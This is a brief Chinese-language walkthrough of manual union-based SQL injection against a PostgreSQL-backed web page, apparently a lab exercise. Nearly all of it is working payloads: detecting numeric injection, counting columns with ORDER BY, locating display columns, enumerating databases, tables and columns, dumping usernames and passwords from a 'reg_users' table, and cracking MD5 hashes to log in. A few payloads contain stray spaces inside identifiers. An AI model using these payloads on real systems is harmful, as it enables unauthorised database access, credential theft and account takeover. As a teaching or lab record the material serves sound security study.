步骤一:找寻注入sql页面
步骤二:判断注入方式
输入?id=1 and 1=1 --+数据没有报错
输入?id=1 and 1=2 --+数据报错 则为数字型
步骤三: 通过order by来判断字段数
?id=1 order by 4 --+
?id=1 order by 5 --+
得出字段数为4
步骤四:获取显错点
?id=1 and 1=2 union select 'null',null,null,null //
⽆回显
?id=1 and 1=2 union select null,'null',null,null //
有回显
?id=1 and 1=2 union select null,null,'null',null //
有回显
?id=1 and 1=2 union select null,null,null,'null' //
⽆回显
步骤五:查询所有数据库
?id=1 and 1=2 union select null,null,string_agg(datname,','),null from pg_database
步骤六:查询表名
?id=1 and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
?id=1 and 1=2 union select null,null,string_agg(relname,','),nu ll from pg_stat_user_tables where schemaname='public'
?id=1 and 1=2 union select null,null,string_agg(table_nam e,','),null from information_schema.tables where table_schema='public'
步骤七:查询user表
?id=1 and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
步骤八:查询数据
?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
步骤九:利用md5解密进行登录